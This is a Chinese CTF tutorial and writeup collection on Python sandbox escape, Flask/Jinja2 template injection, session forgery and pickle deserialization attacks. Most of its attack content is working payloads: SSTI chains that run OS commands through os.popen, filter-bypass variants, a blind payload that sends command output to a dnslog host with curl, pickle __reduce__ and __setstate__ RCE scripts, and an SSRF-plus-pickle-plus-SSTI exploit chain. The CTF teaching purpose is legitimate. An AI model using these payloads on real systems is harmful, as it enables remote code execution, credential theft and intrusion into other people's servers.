0x00 前言
在CTF比赛中 Python的题目种类也越来越多。记得之前遇到Python题目的模板注入反序列化题目笔者都会抄一下网上的
Payload然后获取flag。但吃鸡腿,不知道鸡腿从何而来,是无法品尝到其中的美味的~ 本篇文章以笔者的角度来描述一
下这盘子中的美味 来刨析出鸡腿的腿有多么性感。并且笔者会将Python 2 与 Python 3结合 没有下酒菜的酒局是没有味
道的整篇文章共5700字,供大家阅读体会。
0x01 沙箱逃逸原理及利用
相信大家在抄Payload的时候会发现 明明只有笔者抄 T.T 关于SSTI的Payload都是很长一大串 例如:
这是一个典型的文件读取Payload。可是我们现在并不知道原理 那么跟着笔者一步一步尝试来获取它其中的秘密吧!
一:刨析原理
首先我们需要理解一下Python的几种数据类型 笔者这里将常见数据类型放入一个列表中再进行依次打印 例如:
Python3:
Python2:
我们可以看到 使用type来进行检查数据类型时 会返回 <class 'XXX'> 那么我们会注意到XXX前的class 在编程
语言中class是用来定义类的。是的 没错 在Python中 一个字符串则为str类的对象 一个整形则为int类的对象
一个浮点数据则为float的对象...
我们可以通过id来看一下这些对象的编号是多少 如图:
得出首条结论:在Python中,一切皆对象。
那么知道这些有什么用呢?一个对象则存在属性与方法我们可以通过dir来进行查看
如图(这里用普通字符串来进行举例):
我们可以看到字符串python2与python3都返回了upper 我们知道upper是一个函数
那么我们使用一下该方法。如图:
因为在Python中一切都是对象 所以方法与类也是对象 如图:
我们现在缺少的只是方法与类的调用而已 文章中不再描述如何调用。
那么现在问题就出来了 我们知道Python中存在数据类型 这些数据类型它们都是一个类 我们是怎么找到这个类并实例
化出来它们的?又或者说 在Python中存在一些函数 我们是怎么找到它们并调用的?如何查找到是当前的一个问题。
我们可以通过globals函数来进行查看(globals是获取当前可访问到的变量):
我们可以看到我们定义的变量a已经放入到globals函数当中了 我们可以看到有__builtins__这样一个变量它是一个
模块并且模块名在Python2中命名为__builtin__在Python3中又重新命名为了builtins。
我们使用dir看一下该模块中所存在的一些内容。
我们可以看到 我们所使用的基础方法都存放在该模块中 我们使用该模块调用
一下print函数来进行测试。
我们可以看到 在Python3中返回正常,Python2却抛出异常 这是因为在Python2中print为一个
语句在Python3中它换成了一个函数。
得出第二条结论:在Python2/3中 任何基础类以及函数都存放在__builtin__/builtins模块中。
那么如果我们通过一些方式,可以定位到__builtin__ / builtins模块 那岂不是可以进行进行调用任意函数了。
现在的问题是我们该怎么定位。
我们知道builtins是存放在globals函数中的 与变量的作用域是有关系的 谈到变量的
作用域 我们会想到一个玩意:自定义方法。
我们可以自定义一个方法,将它视为一个对象 使用dir看一下它下面的成员属性。
如图:
果然 在一个普通方法中是存在__globals__这么一个成员属性的 我们可以打印它看一下。
我们可以看到 __globals__ 就是 globals() 函数的返回值 同理 它们下面都存在 __builtins__ 变量 我们可以使用
函数.__globals__['__builtins__']恶意函数() 来执行一下eval。如图:
我们可以看到 eval被我们成功执行!
而方法也是可以定义在类中的 我们简单定义一个类 并且定义一个__init__魔术方法
__init__是魔术方法 该方法在被类创建时自动调用。
我们可以看到同样是可以调用eval的。
如果我们不定义__init__会怎么样呢?我们可以看一下。
可以看到 在Python2中会报错 而python3中会返回slot。不定义__init__是不可以访问到
__globals__成员属性的 如图:
我们再看一下模块中的方法与当前都有什么区别。
这里区别就很明显了 这里 模块中的方法 中__globals__[__builtins__]中的所有内容都被存放入
一个字典中才可以进行调用。我们调用一下eval来进行测试 如图:
当然我们可以使用__import__函数调用os来进行执行命令 如图:
我们可以看到whoami被成功调用。
得出第三条结论:我们可以通过一个普通函数(或类中已定义的方法)对象下的__globals__成员属性来得到
builtins__从而执行任意函数 这里要注意的是模块与非模块下的__globals__的区别。
那么实际场景中 根本没有这样一个方法给我们利用。我们应该怎么做?
我们使用dir看一下普通类型(int,str,bool....)的返回结果。如图:
我们查看一下__class__的内容。如图:
可以看到通过__class__成员属性可以得到当前对象是XXX类的实例化。
在Python中 所有数据类型都存放于Object一个大类中 如图:
我们可以通过__bases__/__mro__/__base__来得到object 如图:
可以看到在python2中并没有直接返回object 我们可以再次访问__bases__就可以得到object了,如图:
那么通过__subclasses__即可得到object下的所有子类 如图:
下面我们就可以来依次判断这些类中是否定义__init__(或其他魔术方法)方法 如果定义 那么就可以拿到__init__
或其他魔术方法 下的__globals__[“__builtins__”]从而执行任意函数 编写脚本进行测试:
可以看到这些类都是可以进行利用的类。当然 也可以使用其他魔术方法
这里举例__delete__魔术方法,如图:
得出第四条结论:我们可以通过普通数据类型的__class__成员属性得到所属类 再通过__bases__/__base__/__mro__可以
得到object类 再次通过__subclasses__()来得到object下的所有基类,遍历所有基类检查是否存在指定的魔术方法 如果
存在那么即可获取__globals__[__builtins__]就可以调用任意函数了。
如上总结在Python2/3中都是可以进行利用的 只是在Python2中多了一种file的姿势。
如图:
只是file在Python3中被移除了,故Python3中没有此利用姿势。
二:flask模板注入
沙箱逃逸通常与flask的模板注入紧密联系 模板中存在可以植入表达式的可控点那么就会存在SSTI问题。
存在漏洞的代码:
- from flask import Flask,render_template,request,render_template_string,session
- from datetime import timedelta
- app = Flask(__name__)
- app.config['SECRET_KEY'] = 'hacker'
- app.config['PERMANENT_SESSION_LIFETIME'] = timedelta(days=7)
- @app.route('/test',methods=['GET', 'POST'])
- def test():
- content = request.args.get("content")
- template = '''
- <div>
- <h1>Oops! That page doesn't exist.</h1>
- <h3>%s</h3>
- <h4>Your Money : %s</h4>
- </div>
- ''' %(content, session.get('money'))
- return render_template_string(template)
- @app.route('/sess')
- def t():
- session['money'] = 100
- return '设置金额成功...'
- if __name__ == '__main__':
- app.debug = True
- app.run()
复制代码
在/test路由中存在模板注入漏洞 那么我们可以通过传递payload:
?content={{[].__class__.__base__.__subclasses__()[80].__init__.__globals__['__builtins__']['__import__']('os').
popen('whoami').read()}} 来进行执行任意命令(__subclasses__可利用的键值可以通过Burp从1-999进行爆破
出结果 这里得到80可以被利用)如图:
至此,我们完成了首次模板注入。
但是成熟的模板注入类的题目它会进行一些过滤的。这里简单总结一下。
三:过滤问题总结
这里简单记录一下模板注入中的一些过滤的绕过。
过滤中括号
我们知道__subclasses__()返回一个列表 __globals__返回一个字典 而列表的访问语法与字典的
访问语法需要借助于中括号 如果将中括号过滤 那么我们怎么办呢?
我们使用dir来查看一下“正常的列表/正常的字典”下的成员属性及方法 如图:
可以看到存在__getitem__方法。
进行调用:
当然 字典的访问也是可以通过__getitem__方法来进行绕过pop方法也可以被利用。
过滤引号
如果过滤引号 我们岂不是不可以进行模板注入了?
引号则表示str类型的数据 而str类型的数据可以通过变量来表示 这里可以借助于
flask中request.args对象来作为变量 以get传递进行赋值。
构造Payload:
- ?content={{[].__class__.__base__.__subclasses__()[80].__init__.__globals__[request.args.__built
- ins__][request.args.__import__](request.args.os).popen(request.args.whoami).read()}}&__bu
- iltins__=__builtins__&__import__=__import__&os=os&whoami=whoami
复制代码
如图:
成功执行命令。
过滤双下划线
由于在jinja2中允许 对象[属性] 的方式来访问成员属性 如图:
此时的属性放置的内容为字符类型 我们可以通过request.args全程代替。
构造Payload:
- ?content={{[][request.args.class][request.args.base][request.args.subclasses]()[80][request.args.init][request.arg
- s.globals][request.args.builtins][request.args.import](request.args.os).popen(request.args.whoami).read()}}&bu
- iltins=__builtins__&import=__import__&os=os&whoami=whoami&class=__class__&base=__base__&subclasse
- s=__subclasses__&init=__init__&globals=__globals__
复制代码
如图:
当然 也可以通过字符串拼接的方式 构造Payload:
?content={{[]['_'+'_class_'+'_']}} 结果如下:
过滤{{}}
{{}}通常来表示一个变量 而{%%}则表示为流程语句 虽然不可以回显内容
但是我们可以通过curl来进行外带数据。
Payload:
- ?content={% if ''.__class__.__base__.__subclasses__()[80].__init__.__globals__['__builtins__']['__im
- port__']('os').popen('curl http://w9y7rp.dnslog.cn/?test=`whoami`').read() !=1 %}1{% endif %}
复制代码
自定义一个web服务即可接收到 笔者这里使用的是dnslog 得不到发出的参数。如图:
当然反弹shell也是一种不错的姿势 这里就不再描述了。
四:flask的一些其他问题
Python的session值篡改攻击
在CTF考点中还存在一种身份伪造类的题目。我们看一下该代码块的sess路由 如图:
- from flask import Flask,render_template,request,render_template_string,session
- from datetime import timedelta
- app = Flask(__name__)
- app.config['SECRET_KEY'] = 'hacker'
- app.config['PERMANENT_SESSION_LIFETIME'] = timedelta(days=7)
- @app.route('/test',methods=['GET', 'POST'])
- def test():
- content = request.args.get("content")
- template = '''
- <div>
- <h1>Oops! That page doesn't exist.</h1>
- <h3>%s</h3>
- <h4>Your Money : %s</h4>
- </div>
- ''' %(content, session.get('money'))
- return render_template_string(template)
- @app.route('/sess')
- def t():
- session['money'] = 100
- return '设置金额成功...'
- if __name__ == '__main__':
- app.debug = True
- app.run()
复制代码
我们可以看到,这里定义了session[money]=100。当我们访问/sess时 服务端
就会返回一个jwt给我们 如图:
可以看到session是以jwt来进行存储的,而使用jwt存储是有危害的。
关于jwt的解释:https://www.j**u.com/p/576dbf44b2ae
只要我们获取SECRET_KEY 那么该JWT是可以进行伪造的。
问题是我们如何进行获取SECRET_KEY?
第一种:通过SSTI的{{config}}
如图:
我们可以看到 {{config}}是可以窃取出SECRET_KEY。
第二种:通过Linux中的/proc/self/environ
这种姿势我们会在CTF小结 中的一道叫做 [PASECA2019] honey_shop 的题目所记载
它需要任意文件读取的姿势才可以进行得到SECRET_KEY。
第三种:爆破
有一道叫做[CISCN2019华北赛区 Day1 Web2]ikun 的题目涉及到了这种姿势
其中又提到了Python反序列化这里奉上WriteUp:
https://blog.csdn.net/weixin_43345082/article/details/97817909
我们可以通过flask-session-cookie-manager工具来生成恶意的JWT即可完成身份伪造工具
GitHub:https://github.com/style-404/flask-session-cookie-manager。
首先我们对当前的JWT进行base64解码 如图:
对于反序列化 笔者会在0x02中进行描述。
这里可以得出一条JSON数据过来 那么我们使用flask-session-cookie-manager工具
借助SECRET_KEY来将money篡改为999.
工具使用:python3 flask_session_cookie_manager3.py encode -s "secret_key" -t "json"
修改本地的session值 随后访问/test查看结果。
可以看到成功篡改money的值。
基于DEBUG的PIN码攻击
它所利用的条件为 任意文件读取+flask的DEBUG模式。
参考文章:https://xz.aliyun.com/t/2553
这里就不再做演示了
五:部分CTF题目实例
Real -> [Flask]SSTI
这道题是比较基础的一道题目 无任何过滤 我们直接进行注入即可。
可以看到表达式被正常解析 那么继续往下操作即可。
构造Payload:
- ?name={{[].__class__.__base__.__subclasses__()[80].__init__.__globals__['__built
- ins__']['__import__']('os').popen('ls /').read()}}
复制代码
命令执行结果如图:
WEB -> [GYCTF2020]FlaskApp
该题目有两个功能 Base64加密与Base64解密 在Base64解密处存在模板注入。
题目如图:
解密结果:
由此得知存在ssti。
经过测试 得知75存在可利用的function为__init__如图:
提交后:
但继续往下构造攻击链时 发现过滤了一些敏感关键字 使用open进行读取源码:
源码过滤如图:
我们可以看到万恶的request也被过滤了 但是这里我们可以使用字符拼接来进行绕过popen可以使用中括号加字
符拼接的方式进行调用,那么构造Payload:{{[].__class__.__base__.__subclasses__()[75].__init__.__globals__[
builtins__']['__imp'+'ort__']('o'+'s')['po'+'pen']('ls /').read()}}
编码为base64后提交查看一下结果:
存在flag关键字 导致我们无法读取 这里我们可以通过命令执行的绕过姿势 \\ 来进行绕过
再次构造Payload:
- {{[].__class__.__base__.__subclasses__()[75].__init__.__globals__['__builtins__']['__imp'+'or
- t__']('o'+'s')['po'+'pen']('cat /this_is_the_fl\\ag.txt').read()}}
复制代码
编码为base64后进行提交:
WEB -> [CSCCTF 2019 Qual]FlaskLight
打开题目源码发现提示参数 search
那么我们可以通过?search={{2*3}}来查看一下结果。
可以看到6弹我们一脸 那么此处存在ssti。
__subclasses__丢进Burp进行爆破键值 如图:
得出下标为59的__init__魔术方法可以被利用 如图:
构造Payload至__globals__发现被过滤 简单访问一下 真的返回500 如图:
可以使用request.arg.x 来进行绕过 构造Payload:
- ?search={{[].__class__.__base__.__subclasses__()[59].__init__[request.args.g]['__buil
- tins__']['__import__']('os').popen('ls /flasklight').read()}}&g=__globals__
复制代码
查看结果:
再次构造Payload读取flag:
- ?search={{[].__class__.__base__.__subclasses__()[59].__init__[request.args.g]['__builtins__']['__imp
- ort__']('os').popen('cat /flasklight/coomme_geeeett_youur_flek').read()}}&g=__globals__
复制代码
如图:
WEB -> [pasecactf_2019]flask_ssti
查看源代码 发现Ajax请求:
笔者在构造Payload时 发现过滤了 单引号(‘)点(.) 下划线(_) 那么我们可以通过双引
号来解析变量,并且使用16进制代替下划线即可。
如图:
构造Payload来进行爆破下标:
- ?nickname={{[]["\x5F\x5Fclass\x5F\x5F"]["\x5F\x5Fbase\x5F\x5F"]["\x5F\x5Fs
- ubclasses\x5F\x5F"]()[§80§]["\x5F\x5Finit\x5F\x5F"]}}
复制代码
发现下标为91的__init__方法可以被利用 如图:
构造Payload执行命令:
- ?nickname={{[]["\x5F\x5Fclass\x5F\x5F"]["\x5F\x5Fbase\x5F\x5F"]["\x5F\x5Fsubclasses\x5F\x5F"]()[91]
- ["\x5F\x5Finit\x5F\x5F"]["\x5F\x5Fglobals\x5F\x5F"]["\x5F\x5Fbuiltins\x5F\x5F"]["\x5F\x5Fimport\x5F\
- x5F"]("os")["popen"]("\x63\x61\x74\x20\x2f\x70\x72\x6f\x63\x2f\x73\x65\x6c\x66\x2f\x63\x77\x64\x
- 2f\x61\x70\x70\x2e\x70\x79")["read"]()}}
复制代码
其中
- \x63\x61\x74\x20\x2f\x70\x72\x6f\x63\x2f\x73\x65\x6c\x66\x2f\x6
- 3\x77\x64\x2f\x61\x70\x70\x2e\x70\x79
复制代码
为 cat /proc/self/cwd/app.py 这里转换可以使用笔者已经写好的脚本:
- payload = b'cat /proc/self/cwd/app.py'
- string = payload.hex()
- result = ''
- for i in range(0, len(string), 2):
- result += '\\x' + string[i:i+2]
- print(result)
复制代码
结果如图:
可以看到flag文件被os删掉了 但是flag的值被存放于app.config当中 并且经过了
encode函数处理 我们可以看一下encode函数的定义:
是使用的异或算法 那么现在我们只需要从config中拿到加密后的flag值并且
将它再次执行一下encode函数即可得到flag。
再次执行函数
则得到flag。
WEB -> [PASECA2019]honey_shop
该题目属于JWT身份伪造攻击,首先我们打开主页 可以看到金额为1336 如图:
而flag需要1337
在/download路由下存在文件下载 猜测存在任意文件下载 那么我们下载../../../../../../../../../p
roc/self/environ来进行观察 如图:
成功下载到并拿到SECRET_KEY 然后我们对当前网址的jwt使用base64进行解密 得出:
伪造为:{"balance":1338,"purchases":[]} 即可购买flag了。
0x02 Python反序列化漏洞利用
原理文章推荐
因为在知乎有位师傅写的非常不错,那么笔者在这里也不去班门弄斧。
传送门:https://zhuanlan.zhihu.com/p/89132768
这里做一下总结 并且对一种利用姿势扩大成果 然后分享一道有意思的例题。
Python反序列化能干什么?
R指令码的RCE
Python的反序列化比PHP危害更大 可以直接进行RCE。
编写测试脚本:
- import pickle, os, base64
- class Exp(object):
- def __reduce__(self):
- return (os.system, ('dir',))
- with open('./hacker.txt', 'wb') as fileObj:
- pickle.dump(Exp(), fileObj)
复制代码
会在当前目录生成hacker.txt 内容为序列化的值。如图:
我们再次使用pickle进行反序列化即可执行dir命令。
这里可以看到成功执行了dir命令。
c指令码的变量获取
当R指令码被禁用后 我们可以采取这种姿势来获取变量。
在当前目录下创建flag.py文件 并且存放一个flag变量 当作模块来进行使用。如图:
编写获取flag变量的脚本:
- import flag, pickle
- class Person():
- pass
- b = b'\x80\x03c__main__\nPerson\n)\x81}(Vtest\ncflag\nflag\nub.'
- print(pickle.loads(b).test)
复制代码
主要思路为:cflag\nflag\n当作test属性的value值压进了前序栈的空dict 随后使用b覆盖了
Person类的__dict__成员属性 导致了变量被窃取。
我们可以看到pickle.loads返回的对象下的test就是flag的值如图:
c指令码的变量修改
当R指令码被禁用后并且find_class函数只允许获取__main__中的变量时
我们可以采取这种姿势来修改任意变量。
在原理文章中并没有提到一种姿势 而有一种姿势也是可以进行利用的
我们先按照原理文章来测试一遍。
测试脚本:
- import flag, pickle
- class Person():
- pass
- b = b'\x80\x03c__main__\nflag\n}(Vflag\nVhacker\n
- ub0c__main__\nPerson\n)\x81}(Va\nVa\nub.'
- pickle.loads(b)
- print(flag.flag)
复制代码
主要思路为:使用c将flag模块导入进来 通过ub来更新flag模块的__dict__属性 故可以恶意修改变量的值。
查看结果:
我们可以看到 flag包中的flag变量被成功修改。
那么在反序列化中 一个普通字符串也是可以当作一种数据来进行序列化的所以
这里并不需要Person的类支撑即可完成变量修改。
修改脚本如下:
- import flag, pickle
- b = b'\x80\x03c__main__\nflag\n}(Vflag\nVhacker\nub0Va\n.'
- print(pickle.loads(b))
- print(flag.flag)
复制代码
结果:
那么就成功篡改了flag包中的flag变量的内容。
__setstate__ 特性 RCE
编写测试脚本:
i- mport flag, pickle
- class Person():
- pass
- b = b'\x80\x03c__main__\nobject\n)\x81}(V__setstate__\ncos\nsystem\nubVdir\nb.'
- print(pickle.loads(b))
复制代码
主要思路为:借助于__setstate__的特性造成了RCE。
执行结果:
可以看到成功执行了dir命令。
近看一道ssrf+反序列化+SSTI的例题
这道题是朋友很早之前就留下来的 在网上也找不到现成的反序列化题目就用它好了。
题目代码是这样的:
- from flask import Flask,render_template
- from flask import request
- import urllib
- import sys
- import os
- import pickle
- import ctf_config
- from jinja2 import Template
- import base64
- import io
- app = Flask(__name__)
- class RestrictedUnpickler(pickle.Unpickler):
- def find_class(self, module, name):
- if module == '__main__':
- return getattr(sys.modules['__main__'], name)
- raise pickle.UnpicklingError("only __main__")
- def get_domain(url):
- if url.startswith('http://'):
- url = url[7:]
- if not url.find("/") == -1:
- domain = url[url.find("@")+1:url.index("/",url.find("@"))]
- else:
- domain = url[url.find("@")+1:]
- print(domain)
- return domain
- else:
- return False
- @app.route("/", methods=['GET'])
- def index():
- return render_template("index.html")
- @app.route("/get_baidu", methods=['GET']) # get_baidu?u
- rl=http://127.0.0.1:8000/?@www.baidu.com/
- def get_baidu():
- url = request.args.get("url")
- if(url == None):
- return "please get url"
- if(get_domain(url) == "www.baidu.com"):
- content = urllib.request.urlopen(url).read()
- return content
- else:
- return render_template('index.html')
- @app.route("/admin", methods=['GET'])
- def admin():
- data = request.args.get("data")
- if(data == None):
- return "please get data"
- ip = request.remote_addr
- if ip != '127.0.0.1':
- return redirect('index')
- else:
- name = base64.b64decode(data)
- if b'R' in name:
- return "no __reduce__"
- name = RestrictedUnpickler(io.BytesIO(name)).load()
- if name == "admin":
- t = Template("Hello " + name)
- else:
- t = Template("Hello " + ctf_config.name)
- return t.render()
- if __name__ == '__main__':
- app.debug = False
- app.run(host='0.0.0.0', port=8000)
复制代码
在45行中存在一个判断。
- if(get_domain(url) == "www.baidu.com"):
- content = urllib.request.urlopen(url).read()
- return content
复制代码
如果进入到该分支则调用至urllib.request.urlopen函数那么我们看一下get_domain
方法是逻辑是怎么样的。
在27行中出现了漏洞问题 如果url中存在 / 则返回@符号往后的内容 那么这里存在一个伪造的情况
例如:http://127.0.0.1:3306/?@www.baidu.com/,
则会匹配到www.baidu.com/ 但是实际发送出的HTTP请求还是发送至127.0.0.1身上
所以说这里存在一个SSRF漏洞问题。
而在51-68行中确实验证了访问者的IP
这里可以使用SSRF进行绕过 如图:
61行禁用了R指令 则表示不可以使用__reduce__进行命令执行操作 可以看到63行实例化了
RestrictedUnpickler类 而该类则继承了pickle.Unpickler类 如图:
同时重写了find_class的方法 这时c指令只可以进行导入本地模块。而类名中存在 R关键字 则无法
进行__setstate__姿势的RCE 这里利用方式只剩下一种:c指令码的变量修改。
但是变量修改有什么用呢?我们可以注意到第67行的ctf_config包下的name变量 如图:
直接将变量的值拼接到Template方法中这里存在一个SSTI注入问题。
那么思路就有了:通过get_data路由发送SSRF请求->admin路由接收进行反序列化->修
改ctf_config下的name属性为SSTI注入语句->实现RCE。
那么编写POC脚本:
- import base64
- ssti = b'2*6'
- payload = b'\x80\x03c__main__\nctf_config\n}(Vname\nV{{' + ssti + b'}}\nub0V123\n.'
- payload = base64.b64encode(payload).decode('utf-8')
- print(payload)
复制代码
传递Payload:
http://127.0.0.1:8000/get_baidu?url=http://127.0.0.1:8000/admi
n?data=SSTI的值%26@www.baidu.com/
如图:
成功进行SSTI注入 笔者发现__subclasses__()的第81下标存在可利用的function
那么这里直接执行whoami:
可以看到成功执行了 whoami。
0x03 尾巴
无聊的话 就一起来玩会Python吧。
|